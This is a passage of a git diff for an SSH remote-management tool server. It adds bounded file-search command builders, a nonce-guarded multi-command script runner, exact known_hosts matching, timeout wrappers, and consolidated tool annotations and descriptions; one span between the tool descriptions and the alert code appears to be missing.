shQuote(pattern); + const qroot = shQuote(root); + + // rg: --line-number for file:line:text, -n; --no-heading keeps it grep-shaped. + const rg = `rg --line-number --no-heading --color never${ctx} ${ex} -e ${qp} ${qroot}`; + // grep: -r recursive, -n line numbers, -I skip binaries. + const grep = `grep -rnI${ctx} ${ex} -e ${qp} ${qroot}`; + + const inner = `if command -v rg >/dev/null 2>&1; then ${rg}; ` + + `else ${grep}; fi | head -n ${cap}`; + return `timeout ${secs} sh -c ${shQuote(inner)}`; +} + +/** + * Build a bounded `find -name` command. Pseudo-filesystems are pruned with + * `-path X -prune -o`; -xdev keeps it on one filesystem unless crossMounts. + */ +export function buildLocateCommand({ + name, + path, + matchCap = SEARCH_DEFAULTS.matchCap, + timeoutSecs = SEARCH_DEFAULTS.timeoutSecs, + crossMounts = SEARCH_DEFAULTS.crossMounts, + prune = SEARCH_DEFAULTS.prune, + allowRoot = false, +} = {}) { + if (typeof name !== 'string' || name === '') { + throw new Error('ssh_find: name is required for action locate'); + } + const root = assertSearchPath(path, { allowRoot }); + const cap = clampInt(matchCap, 1, 100000, SEARCH_DEFAULTS.matchCap); + const secs = clampInt(timeoutSecs, 1, 600, SEARCH_DEFAULTS.timeoutSecs); + const xdev = crossMounts ? '' : ' -xdev'; + // -path '/proc' -prune -o ... -path '/run' -prune -o -print + const pruneExpr = prune + .map((p) => `-path ${shQuote(p)} -prune -o`) + .join(' '); + const find = `find ${shQuote(root)}${xdev} ${pruneExpr} ` + + `-name ${shQuote(name)} -print`; + return `timeout ${secs} ${find} | head -n ${cap}`; +} + +/** + * Build a bounded `ls -la` of one directory. Listing "/" is cheap, so the + * bare-root guard does not apply here; only an empty path is rejected. + */ +export function buildLsCommand({ + path, + timeoutSecs = SEARCH_DEFAULTS.timeoutSecs, +} = {}) { + const p = typeof path === 'string' ? path.trim() : ''; + if (!p) throw new Error('ssh_find: path is required for action ls'); + const root = /^\/+$/.test(p) ? '/' : p.replace(/\/+$/, '') || '/'; + const secs = clampInt(timeoutSecs, 1, 600, SEARCH_DEFAULTS.timeoutSecs); + return `timeout ${secs} ls -la ${shQuote(root)}`; +} + +/** + * Parse grep/rg `file:line:text` output to {file, line, text} objects. + * Splits on the first two colons only -- a colon in the match text survives. + * grep context separators (`--`) and blank lines are dropped. CRLF tolerated. + */ +export function parseGrepHits(text) { + const s = text == null ? '' : String(text); + const hits = []; + for (const raw of s.split(/\r?\n/)) { + const ln = raw; + if (ln === '' || ln === '--') continue; + const c1 = ln.indexOf(':'); + if (c1 === -1) continue; + const c2 = ln.indexOf(':', c1 + 1); + if (c2 === -1) continue; + const lineNo = Number(ln.slice(c1 + 1, c2)); + if (!Number.isFinite(lineNo)) continue; + hits.push({ + file: ln.slice(0, c1), + line: lineNo, + text: ln.slice(c2 + 1), + }); + } + return hits; +} + +/** Parse `find` output (one path per line) to a trimmed string array. */ +export function parseLocateHits(text) { + const s = text == null ? '' : String(text); + return s.split('\n').map((l) => l.trim()).filter((l) => l !== ''); +} + +/** Map an `ls -l` permission char to a coarse type label. */ +function lsType(perms) { + const c = perms.charAt(0); + if (c === 'd') return 'dir'; + if (c === 'l') return 'link'; + return 'file'; +} + +/** + * Parse `ls -la` long-format output to {perms, size, name, type} rows. + * The leading `total N` line is skipped; a `name -> target` symlink keeps + * only the name. Filenames with spaces survive (name = field 9 onward). + * Device rows carry `major, minor` for size -> joined into one size token. + */ +export function parseLsRows(text) { + const s = text == null ? '' : String(text); + const rows = []; + for (const raw of s.split(/\r?\n/)) { + const ln = raw.trim(); + if (ln === '' || /^total \d+$/.test(ln)) continue; + // perms links owner group size mon day time name... ; size = N or "maj, min" + const m = ln.match( + /^(\S+)\s+\S+\s+\S+\s+\S+\s+(\d+,\s*\d+|\S+)\s+\S+\s+\S+\s+\S+\s+(.+)$/, + ); + if (!m) continue; + let name = m[3]; + const arrow = name.indexOf(' -> '); + if (arrow !== -1) name = name.slice(0, arrow); + rows.push({ + perms: m[1], + size: m[2].replace(/\s+/g, ' '), + name, + type: lsType(m[1]), + }); + } + return rows; +} diff --git a/src/script-runner.js b/src/script-runner.js new file mode 100644 index 0000000..b835f7b --- /dev/null +++ b/src/script-runner.js @@ -0,0 +1,97 @@ +/** + * ssh_run action:script engine. Joins a commands array into ONE remote exec + * with exit-capturing sentinels, so a cmd1;cmd2;cmd3 chain runs in a single + * round-trip with shared shell state. parseScriptSegments splits it back. + * + * Sentinels carry a per-invocation nonce so a command's own stdout cannot + * forge a fake `##SEG ...##` line and corrupt the per-segment parse. + * + * Pure: buildScriptCommand returns { command, nonce }, parseScriptSegments + * turns raw stdout + that nonce into per-segment results. Dispatcher execs. + */ + +import crypto from 'crypto'; +import { shQuote } from './stream-exec.js'; + +/** Per-invocation nonce: 6 random bytes -> 12 hex chars. Unforgeable marker. */ +function newNonce() { + return crypto.randomBytes(6).toString('hex'); +} + +/** Build the sentinel regex for one nonce. Group 1 = index, group 2 = $?. */ +function segRe(nonce, flags) { + return new RegExp(`\\n##SEG-${nonce} (\\d+) (\\d+)##\\n`, flags); +} + +/** + * Build the single-exec script string. + * Each segment is followed by `printf '\n##SEG- %d %d##\n' $?` + * so $? is captured BEFORE the next segment runs. Segments are `;`-separated, + * not `&&`-chained: a non-zero segment never aborts the rest. + * + * Returns { command, nonce }. Caller threads `nonce` into parseScriptSegments + * so only this invocation's sentinels are trusted. + * + * isolate:true wraps each segment in its own `sh -c` -- separate shells, no + * shared cd/env -- for the rare caller that needs state isolation. + */ +export function buildScriptCommand(commands, { isolate = false } = {}) { + if (!Array.isArray(commands) || commands.length === 0) { + throw new Error('ssh_run script: at least one command is required'); + } + const nonce = newNonce(); + const parts = []; + commands.forEach((c, i) => { + if (typeof c !== 'string') { + throw new Error(`ssh_run script: command ${i} must be a string`); + } + // isolate => run the segment in a child shell; $? is the child's exit. + const body = isolate + ? `sh -c ${shQuote(c)}` + : `{ ${c}\n; }`; + parts.push(`${body}; printf '\\n##SEG-${nonce} %d %d##\\n' ${i} $?`); + }); + return { command: parts.join('\n'), nonce }; +} + +/** + * Split raw script stdout into per-segment results using nonce-bound + * sentinels. Returns [{ index, command, stdout, exitCode }]. `nonce` is the + * value buildScriptCommand returned -- only `##SEG- ...##` lines are + * trusted, so a command echoing a fake `##SEG ...##` line cannot corrupt the + * parse. `commands` labels each segment; a segment with no sentinel (script + * killed mid-run) gets exitCode null. + */ +export function parseScriptSegments(stdout, nonce, commands = []) { + if (typeof nonce !== 'string' || nonce === '') { + throw new Error('parseScriptSegments: nonce is required'); + } + const s = stdout == null ? '' : String(stdout); + const re = segRe(nonce, 'g'); + const segments = []; + let lastIndex = 0; + let m; + re.lastIndex = 0; + while ((m = re.exec(s)) !== null) { + const idx = Number(m[1]); + segments.push({ + index: idx, + command: commands[idx] != null ? commands[idx] : null, + stdout: s.slice(lastIndex, m.index), + exitCode: Number(m[2]), + }); + lastIndex = m.index + m[0].length; + } + // Trailing output after the last sentinel = an unfinished segment. + const tail = s.slice(lastIndex); + if (tail.trim() !== '') { + const idx = segments.length; + segments.push({ + index: idx, + command: commands[idx] != null ? commands[idx] : null, + stdout: tail, + exitCode: null, + }); + } + return segments; +} diff --git a/src/ssh-key-manager.js b/src/ssh-key-manager.js index eecebf8..c9ba819 100644 --- a/src/ssh-key-manager.js +++ b/src/ssh-key-manager.js @@ -4,6 +4,28 @@ import path from 'path'; import os from 'os'; import crypto from 'crypto'; import { logger } from './logger.js'; +import { parseKnownHostLine } from './tools/key-tools.js'; + +/** + * Exact host+port match against one known_hosts line. Substring matching is + * unsafe: `example.com` would hit `notexample.com`, `example.com.evil.net`, + * or a coincidence inside the base64 key body. Hashed `|1|` entries can't be + * un-hashed -> never match (caller must fall back to ssh-keygen -F). + */ +function knownHostLineMatches(line, host, port) { + const parsed = parseKnownHostLine(line); + if (!parsed || parsed.hashed) return false; + // parseKnownHostLine splits comma-separated host specs into `hosts[]`. + for (const spec of parsed.hosts) { + const bracket = spec.match(/^\[([^\]]+)\]:(\d+)$/); + if (bracket) { + if (bracket[1] === host && (parseInt(bracket[2], 10) || 22) === port) return true; + } else if (spec === host && port === 22) { + return true; + } + } + return false; +} // Path to known_hosts file const KNOWN_HOSTS_PATH = path.join(os.homedir(), '.ssh', 'known_hosts'); @@ -82,13 +104,8 @@ export function isHostKnown(host, port = 22) { } const content = fs.readFileSync(KNOWN_HOSTS_PATH, 'utf8'); - const lines = content.split('\n'); - - // Format host entry as SSH does - const hostEntry = port === 22 ? host : `[${host}]:${port}`; - - for (const line of lines) { - if (line.includes(hostEntry)) { + for (const line of content.split('\n')) { + if (knownHostLineMatches(line, host, port)) { return true; } } @@ -105,14 +122,10 @@ export function getCurrentHostKey(host, port = 22) { } const content = fs.readFileSync(KNOWN_HOSTS_PATH, 'utf8'); - const lines = content.split('\n'); - - // Format host entry as SSH does - const hostEntry = port === 22 ? host : `[${host}]:${port}`; const keys = []; - for (const line of lines) { - if (line.includes(hostEntry)) { + for (const line of content.split('\n')) { + if (knownHostLineMatches(line, host, port)) { const entry = parseKnownHostEntry(line); if (entry) { const keyData = Buffer.from(entry.key, 'base64'); diff --git a/src/ssh-manager.js b/src/ssh-manager.js index e99448f..4f06c03 100644 --- a/src/ssh-manager.js +++ b/src/ssh-manager.js @@ -401,6 +401,15 @@ class SSHManager { return this.connected && this.client && !this.client.destroyed; } + // Synchronous liveness check for the connection-pool hot path. No network: + // a reused pooled connection must not pay an echo round-trip per command. + // A truly dead connection surfaces on the next command's own failure and + // is reconnected then. Distinct from ping() (an explicit on-wire probe). + // Delegates to isConnected(); Boolean() guarantees a strict boolean. + isAlive() { + return Boolean(this.isConnected()); + } + dispose() { if (this._sftpHandle) { this._sftpHandle.end(); diff --git a/src/stream-exec.js b/src/stream-exec.js index a1e442e..1abade5 100644 --- a/src/stream-exec.js +++ b/src/stream-exec.js @@ -28,6 +28,29 @@ export function buildRemoteCommand(command, cwd) { return `cd ${shQuote(cwd)} && ${command}`; } +/** + * Wrap a command in the OS `timeout` utility so a process that ignores + * SIGINT is still bounded server-side. `timeout -k CMD` + * sends TERM at seconds, then KILL seconds later. + * + * `timeout` execvp's its argument -- it does NOT spawn a shell. So the + * command is run via `sh -c `: timeout bounds the shell, + * the shell parses cd / && / | / VAR=val / set -e correctly. Wrapping the + * bare command instead would make timeout try to execvp `cd` or `VAR=...` + * -> exit 127. + * + * timeoutMs is the same millisecond budget the in-process timer uses; here + * it is converted to whole seconds (timeout rejects a 0 wall, so the floor + * is 1 s). A falsy timeout returns the command unchanged -- raw / untimed + * callers are not wrapped. + */ +export function wrapWithTimeout(command, timeoutMs) { + if (!command || !timeoutMs || timeoutMs <= 0) return command; + const wallSecs = Math.max(1, Math.ceil(timeoutMs / 1000)); + const killGraceSecs = 5; + return `timeout -k ${killGraceSecs} ${wallSecs} sh -c ${shQuote(command)}`; +} + /** * Stream a command through an ssh2 Client. * @@ -50,11 +73,17 @@ export function streamExecCommand(client, command, options = {}) { debounceMs = 50, maxBufferedBytes = 1_000_000, timeoutMs, + killGraceMs = 5_000, + raw = false, onChunk, stdin, } = options; - const fullCommand = buildRemoteCommand(command, cwd); + // cwd prefix first, then the OS timeout wrapper -- wrapWithTimeout runs the + // whole `cd ... && cmd` through `sh -c` so timeout bounds a real shell. + // raw:true skips the wrapper entirely. + const withCwd = buildRemoteCommand(command, cwd); + const fullCommand = raw ? withCwd : wrapWithTimeout(withCwd, timeoutMs); return new Promise((resolve, reject) => { const outDecoder = new StringDecoder('utf8'); @@ -68,6 +97,8 @@ export function streamExecCommand(client, command, options = {}) { let stream = null; let resolved = false; let timeoutId = null; + let killTimerId = null; // grace->KILL escalation timer + let streamClosed = false; // true only when the 'close' event fires function emit(kind, text) { if (!onChunk || !text) return; @@ -98,6 +129,11 @@ export function streamExecCommand(client, command, options = {}) { } function finish(result, err) { + // Clear the kill-escalation timer on ANY finish (incl. a 2nd call from + // the close/error path after a timeout) -- before the resolved guard, + // so KILL cannot fire on an already-settled stream. The timeout path + // arms the timer AFTER its own finish() call, so it still survives. + if (killTimerId) { clearTimeout(killTimerId); killTimerId = null; } if (resolved) return; resolved = true; @@ -129,11 +165,30 @@ export function streamExecCommand(client, command, options = {}) { abortSignal.addEventListener('abort', onAbort); } - // Overall deadline + // Overall deadline. On expiry: INT immediately and reject; then, on a + // detached timer, escalate to KILL+close if the stream is still open. + // Only INT is sent on the hot path -- the kill timer handles close so it + // can tell whether the stream already closed on its own. Server-side, + // wrapWithTimeout adds an OS `timeout` wall as a backstop. if (timeoutMs && timeoutMs > 0) { timeoutId = setTimeout(() => { - teardownStream(); + const hung = stream; + // INT only -- do NOT call stream.close() here so the kill timer can + // distinguish "closed on its own" (finish() called) from "still hung". + try { hung && hung.signal && hung.signal('INT'); } catch (_) { /* ignore */ } finish(null, new Error(`Command timeout after ${timeoutMs}ms`)); + if (hung) { + // Armed AFTER finish() so finish() does not clear it; a later + // close/error finish() does (kill-on-settled-stream guard). + killTimerId = setTimeout(() => { + killTimerId = null; + // Only escalate if the 'close' event never fired -- process hung. + if (streamClosed) return; + try { hung.signal && hung.signal('KILL'); } catch (_) { /* ignore */ } + try { hung.close && hung.close(); } catch (_) { /* ignore */ } + }, killGraceMs); + if (killTimerId.unref) killTimerId.unref(); + } }, timeoutMs); } @@ -176,6 +231,7 @@ export function streamExecCommand(client, command, options = {}) { }); stream.on('close', (code, signal) => { + streamClosed = true; finish({ stdout, stderr, code: code || 0, signal: signal || null }, null); }); diff --git a/src/structured-result.js b/src/structured-result.js index 5dc9ffc..3f4b4f0 100644 --- a/src/structured-result.js +++ b/src/structured-result.js @@ -8,7 +8,7 @@ * Tools provide a small renderer per-type for the markdown face. */ -import { formatBytes, formatDuration } from './output-formatter.js'; +import { formatBytes, renderHeader, renderKV, indentBody } from './output-formatter.js'; /** * Build a success result. @@ -92,12 +92,9 @@ function strip(obj, keys) { /** * Package a structured result as MCP content. - * @param {Object} result from ok() / fail() / preview() - * @param {Object} [opts] - * @param {'markdown'|'json'|'both'} [opts.format='markdown'] - * @param {Function} [opts.renderer] (result) => string. Defaults to defaultRender. + * format: "compact" (default) | "markdown" | "json" | "both". */ -export function toMcp(result, { format = 'markdown', renderer } = {}) { +export function toMcp(result, { format = 'compact', renderer } = {}) { const md = (renderer || defaultRender)(result); if (format === 'json') { return { content: [{ type: 'text', text: JSON.stringify(result) }], isError: !result.success }; @@ -116,53 +113,56 @@ export function toMcp(result, { format = 'markdown', renderer } = {}) { /** * Default markdown renderer. Tools override for richer cards. - * Layout: - * [ok] **** | `server` | - * - * > elided: ... (if meta.truncated) + * Header line via renderHeader; data as an indented KV block; no fences. */ export function defaultRender(result) { const { success, tool, server, data, meta, error } = result; - const marker = success ? '[ok]' : '[err]'; - const badge = success ? '' : ' | **failed**'; - const duration = meta && meta.duration_ms != null - ? ` | \`${formatDuration(meta.duration_ms)}\`` - : ''; - const srv = server ? ` | \`${server}\`` : ''; - const header = `${marker} **${tool}**${srv}${duration}${badge}`; - + const header = renderHeader({ + marker: success ? '[ok]' : '[err]', + tool, + server, + status: success ? null : 'failed', + durationMs: meta && meta.duration_ms, + }); const lines = [header]; if (!success) { - lines.push(''); - lines.push('```text'); - lines.push(String(error || 'unknown error')); - lines.push('```'); + lines.push(indentBody(String(error || 'unknown error'))); return lines.join('\n'); } if (data && data.preview) { - lines.push(''); - lines.push('> **dry run** -- nothing executed'); - lines.push(''); - lines.push('```json'); - lines.push(JSON.stringify(data.plan, null, 2)); - lines.push('```'); + lines.push(' dry run -- nothing executed'); + const planBody = renderKV(kvRows(data.plan)); + if (planBody) lines.push(indentBody(planBody)); return lines.join('\n'); } if (data != null) { - lines.push(''); - lines.push('```json'); - lines.push(JSON.stringify(data, null, 2)); - lines.push('```'); + const body = renderKV(kvRows(data)); + if (body) lines.push(indentBody(body)); } - if (meta && (meta.truncated_bytes || meta.elided_bytes)) { - const b = meta.truncated_bytes || meta.elided_bytes; - lines.push(''); - lines.push(`> elided: ${formatBytes(b)}`); - } + const elided = meta && (meta.truncated_bytes || meta.elided_bytes); + if (elided) lines.push(indentBody(`elided: ${formatBytes(elided)}`)); return lines.join('\n'); } + +/** + * Flatten an object to [key, value] rows for renderKV. Nested objects/arrays + * collapse to compact JSON; non-objects render as a single `value` row. + * Scalar newlines collapse to spaces -- renderKV cells must stay single-line. + */ +function kvRows(obj) { + if (obj == null || typeof obj !== 'object') return [['value', scalar(obj)]]; + return Object.entries(obj).map(([k, v]) => [ + k, + v != null && typeof v === 'object' ? JSON.stringify(v) : scalar(v), + ]); +} + +// Scalar -> single-line string. Newlines -> spaces. +function scalar(v) { + return String(v).replace(/\r?\n/g, ' '); +} diff --git a/src/tool-annotations.js b/src/tool-annotations.js index fe33e5c..d78b9c3 100644 --- a/src/tool-annotations.js +++ b/src/tool-annotations.js @@ -18,96 +18,58 @@ */ export const TOOL_ANNOTATIONS = { - // Core - ssh_execute: { - title: 'Execute Remote Command', + ssh_run: { + title: 'Run Remote Command', annotations: { destructiveHint: true, openWorldHint: true }, }, - ssh_upload: { - title: 'Upload File to Server', - annotations: { destructiveHint: true, idempotentHint: true, openWorldHint: true }, + ssh_find: { + title: 'Search and List Files', + annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true }, }, - ssh_download: { - title: 'Download File from Server', - annotations: { readOnlyHint: true, openWorldHint: true }, + ssh_file: { + title: 'Transfer / Read / Edit Files', + annotations: { destructiveHint: true, openWorldHint: true }, }, - ssh_sync: { - title: 'Rsync Files', - annotations: { destructiveHint: true, idempotentHint: true, openWorldHint: true }, + ssh_logs: { + title: 'Read Remote Logs', + annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true }, }, - ssh_list_servers: { - title: 'List Configured Servers', - annotations: { readOnlyHint: true, idempotentHint: true }, + ssh_service: { + title: 'Service Control', + annotations: { destructiveHint: true, openWorldHint: true }, }, - - // Sessions - ssh_session_start: { title: 'Start Interactive Session', annotations: { openWorldHint: true } }, - ssh_session_send: { title: 'Send Command to Session', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_session_list: { title: 'List Sessions', annotations: { readOnlyHint: true, idempotentHint: true } }, - ssh_session_close: { title: 'Close Session', annotations: { idempotentHint: true } }, - ssh_session_replay: { title: 'Replay Session History', annotations: { readOnlyHint: true, idempotentHint: true } }, - ssh_session_memory: { title: 'Session State Snapshot', annotations: { readOnlyHint: true, idempotentHint: true } }, - - // Monitoring - ssh_health_check: { title: 'Server Health Check', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_service_status: { title: 'Check Service Status', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_process_manager: { title: 'Manage Remote Processes', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_monitor: { title: 'Resource Monitor Snapshot', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_tail: { title: 'Tail Log File', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_alert_setup: { - title: 'Configure Health Alerts', - // set/get mutate local config; check is read-only against the remote. - // Taken together, not readOnly and not destructive -- just stateful config. - annotations: { idempotentHint: true }, + ssh_health: { + title: 'Health, Processes, Alerts', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_db: { + title: 'Database Operations', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_backup: { + title: 'Backup and Restore', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_docker: { + title: 'Docker Control', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_session: { + title: 'Persistent SSH Sessions', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_net: { + title: 'Tunnels and Port Probes', + annotations: { destructiveHint: true, openWorldHint: true }, + }, + ssh_fleet: { + title: 'Fleet and Config Metadata', + annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true }, + }, + ssh_plan: { + title: 'Multi-Step Plan Executor', + annotations: { destructiveHint: true, openWorldHint: true }, }, - - // Backup - ssh_backup_create: { title: 'Create Backup', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_backup_list: { title: 'List Backups', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_backup_restore: { title: 'Restore Backup', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_backup_schedule: { title: 'Schedule Backup (cron)', annotations: { destructiveHint: true, openWorldHint: true } }, - - // Database - ssh_db_dump: { title: 'Dump Database', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_db_import: { title: 'Import Database Dump', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_db_list: { title: 'List Databases / Tables', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_db_query: { title: 'Run Read-Only Query', annotations: { readOnlyHint: true, openWorldHint: true } }, - - // Deploy - ssh_deploy: { title: 'Deploy Artifact', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_deploy_artifact: { title: 'Deploy Artifact (alias)', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_execute_sudo: { title: 'Execute With Sudo', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_execute_group: { title: 'Execute Across Group', annotations: { destructiveHint: true, openWorldHint: true } }, - - // Admin / config - ssh_alias: { title: 'Manage Server Aliases', annotations: { idempotentHint: true } }, - ssh_command_alias: { title: 'Manage Command Aliases', annotations: { idempotentHint: true } }, - ssh_hooks: { title: 'Manage Automation Hooks', annotations: { idempotentHint: true } }, - ssh_profile: { title: 'Manage Active Profile', annotations: { idempotentHint: true } }, - ssh_group_manage: { title: 'Manage Server Groups', annotations: { idempotentHint: true } }, - ssh_connection_status: { title: 'Connection Pool Status', annotations: { readOnlyHint: true, idempotentHint: true } }, - ssh_history: { title: 'Command History', annotations: { readOnlyHint: true, idempotentHint: true } }, - - // Tunnels - ssh_tunnel_create: { title: 'Create SSH Tunnel', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_tunnel_list: { title: 'List Tunnels', annotations: { readOnlyHint: true, idempotentHint: true } }, - ssh_tunnel_close: { title: 'Close Tunnel', annotations: { idempotentHint: true } }, - - // Host keys / auth - ssh_key_manage: { title: 'Manage SSH Host Keys', annotations: { idempotentHint: true, openWorldHint: true } }, - - // Gamechanger - ssh_cat: { title: 'View Remote File', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_systemctl: { title: 'Systemd Unit Control', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_journalctl: { title: 'Systemd Journal Query', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_docker: { title: 'Docker Control', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_port_test: { title: 'Port / TLS / HTTP Probe', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_diff: { title: 'Diff Two Files', annotations: { readOnlyHint: true, idempotentHint: true, openWorldHint: true } }, - ssh_edit: { title: 'Atomic File Edit', annotations: { destructiveHint: true, openWorldHint: true } }, - ssh_tail_start: { title: 'Start Live Tail', annotations: { openWorldHint: true } }, - ssh_tail_read: { title: 'Read Live Tail Buffer', annotations: { readOnlyHint: true, idempotentHint: true } }, - ssh_tail_stop: { title: 'Stop Live Tail', annotations: { idempotentHint: true } }, - ssh_plan: { title: 'Plan + Approve Execution', annotations: { destructiveHint: true, openWorldHint: true } }, }; /** diff --git a/src/tool-config-manager.js b/src/tool-config-manager.js index da9c932..aef9e71 100644 --- a/src/tool-config-manager.js +++ b/src/tool-config-manager.js @@ -64,17 +64,16 @@ export class ToolConfigManager { * @returns {Object} Default configuration */ getDefaultConfig() { + // Groups MUST mirror the three real v4 TOOL_GROUPS (core, ops, advanced). + // A stale group set leaves custom-mode isToolEnabled unable to resolve a + // tool's group -> silent fall-through to `return true`. return { version: '1.0', mode: 'all', groups: { core: { enabled: true }, - sessions: { enabled: true }, - monitoring: { enabled: true }, - backup: { enabled: true }, - database: { enabled: true }, - advanced: { enabled: true }, - gamechanger: { enabled: true } + ops: { enabled: true }, + advanced: { enabled: true } }, tools: {}, _comment: 'Tool configuration for claude-code-ssh. Run "ssh-manager tools configure" to customize.' diff --git a/src/tool-descriptions.js b/src/tool-descriptions.js new file mode 100644 index 0000000..4010571 --- /dev/null +++ b/src/tool-descriptions.js @@ -0,0 +1,87 @@ +/** + * v4 tool descriptions -- single source of truth. + * + * Each entry cues WHEN to use the tool and names the raw bash it replaces, so + * the loaded schema steers Claude onto these tools instead of `ssh` via Bash. + * src/index.js imports this; the v4 registration block uses these strings as + * each tool's `description`. Edit text here, never inline in index.js. + */ +export const V4_TOOL_DESCRIPTIONS = Object.freeze({ + ssh_run: + 'Run commands on a configured server. Use instead of `ssh host "cmd"` ' + + '-- a `script` action chains `cmd1; cmd2; cmd3` in one round trip with ' + + 'per-segment exit codes, the pooled connection skips the per-call SSH ' + + 'handshake, and output is capped so a noisy command will not flood ' + + 'context. Actions: exec, sudo, script, fleet, detach, job-status, job-kill.', + ssh_file: + 'Move and edit files on a configured server. Use instead of ' + + '`scp local host:remote` or `ssh host "cat > f < usage = 100 - idle_pct. + const idlePct = Number(metrics?.cpu?.idle_pct); + const cpuPct = Number.isFinite(idlePct) ? 100 - idlePct : NaN; if (Number.isFinite(cpuPct) && Number.isFinite(cfg.cpuThreshold) && cpuPct >= cfg.cpuThreshold) { alerts.push({ metric: 'cpu', observed: cpuPct, threshold: cfg.cpuThreshold, message: `CPU at ${cpuPct.toFixed(1)}% >= threshold ${cfg.cpuThreshold}%`, }); } - // Memory used%: parseFreeMem returns { total_bytes, used_bytes, free_bytes, used_percent }. - const memPct = Number(metrics?.memory?.used_percent); + // Memory: parseFreeMem emits { total_bytes, used_bytes, free_bytes, available_bytes, used_pct }. + const memPct = Number(metrics?.memory?.used_pct); if (Number.isFinite(memPct) && Number.isFinite(cfg.memoryThreshold) && memPct >= cfg.memoryThreshold) { alerts.push({ metric: 'memory', observed: memPct, threshold: cfg.memoryThreshold, message: `memory at ${memPct.toFixed(1)}% >= threshold ${cfg.memoryThreshold}%`, }); } - // Disk: parseDf returns an array of { filesystem, mount, used_percent, ... }. + // Disk: parseDf emits rows of { device, size_bytes, used_bytes, avail_bytes, used_pct, mount }. if (Array.isArray(metrics?.disk) && Number.isFinite(cfg.diskThreshold)) { for (const fs_ of metrics.disk) { - const pct = Number(fs_?.used_percent); + const pct = Number(fs_?.used_pct); if (Number.isFinite(pct) && pct >= cfg.diskThreshold) { + const where = fs_.mount || fs_.device; alerts.push({ - metric: 'disk', mount: fs_.mount || fs_.filesystem, + metric: 'disk', mount: where, observed: pct, threshold: cfg.diskThreshold, - message: `disk ${fs_.mount || fs_.filesystem} at ${pct.toFixed(1)}% >= threshold ${cfg.diskThreshold}%`, + message: `disk ${where} at ${pct.toFixed(1)}% >= threshold ${cfg.diskThreshold}%`, }); } } diff --git a/src/tools/db-tools.js b/src/tools/db-tools.js index f4bde6b..e6ee7eb 100644 --- a/src/tools/db-tools.js +++ b/src/tools/db-tools.js @@ -507,7 +507,24 @@ export async function handleSshDbList({ getConnection, args }) { ? (db_type === 'mongodb' ? { db_type, database, collections: filtered } : { db_type, database, tables: filtered }) : { db_type, databases: filtered }; - return toMcp(ok('ssh_db_list', data, { server, duration_ms: durationMs }), { format }); + return toMcp(ok('ssh_db_list', data, { server, duration_ms: durationMs }), { format, renderer: renderDbList }); +} + +/** ssh_db list -> name-per-line list; never collapses the array. */ +function renderDbList(result) { + if (!result.success) return defaultRender(result); + const d = result.data; + const kind = d.tables ? 'table' : (d.collections ? 'collection' : 'database'); + const names = d.databases || d.tables || d.collections || []; + const dur = result.meta?.duration_ms != null ? ` | \`${formatDuration(result.meta.duration_ms)}\`` : ''; + const scope = d.database ? ` | \`${d.database}\`` : ''; + const lines = [`[ok] **ssh_db_list** | \`${result.server}\` | \`${d.db_type}\`${scope}${dur}`]; + lines.push(`${names.length} ${kind}${names.length === 1 ? '' : 's'}`); + if (names.length > 0) { + lines.push(''); + for (const n of names) lines.push(`- ${n}`); + } + return lines.join('\n'); } function filterSystemDbs(names, db_type) { diff --git a/src/tools/exec-tools.js b/src/tools/exec-tools.js index 0d2e7e3..b610e1d 100644 --- a/src/tools/exec-tools.js +++ b/src/tools/exec-tools.js @@ -34,6 +34,7 @@ export async function handleSshExecute({ getConnection, args }) { maxLen = DEFAULT_MAX_LEN, format = 'markdown', preview: isPreview = false, + raw = false, onChunk, abortSignal, } = args; @@ -61,7 +62,7 @@ export async function handleSshExecute({ getConnection, args }) { let result, error; try { result = await streamExecCommand(client, command, { - cwd, timeoutMs: timeout, debounceMs: DEFAULT_DEBOUNCE_MS, onChunk, abortSignal, + cwd, timeoutMs: timeout, debounceMs: DEFAULT_DEBOUNCE_MS, raw, onChunk, abortSignal, }); } catch (e) { error = e; } @@ -98,6 +99,7 @@ export async function handleSshExecuteSudo({ getConnection, getServerConfig, arg maxLen = DEFAULT_MAX_LEN, format = 'markdown', preview: isPreview = false, + raw = false, abortSignal, } = args; @@ -140,6 +142,7 @@ export async function handleSshExecuteSudo({ getConnection, getServerConfig, arg cwd, timeoutMs: timeout, debounceMs: DEFAULT_DEBOUNCE_MS, + raw, // Write password + newline to stream.stdin. `sudo -S` consumes it. // When pw is empty/undefined, send an empty line so passwordless sudo still works. stdin: (pw || '') + '\n', @@ -173,10 +176,16 @@ export async function handleSshExecuteGroup({ getConnection, resolveGroup, args format = 'markdown', stopOnError = false, preview: isPreview = false, + raw = false, abortSignal, } = args; - const servers = await resolveGroup(group); + // resolveGroup yields either a bare array or the production object + // { name, servers:[...] } (or null). Accept both, normalize to array. + const resolved = await resolveGroup(group); + const servers = Array.isArray(resolved) + ? resolved + : (resolved && 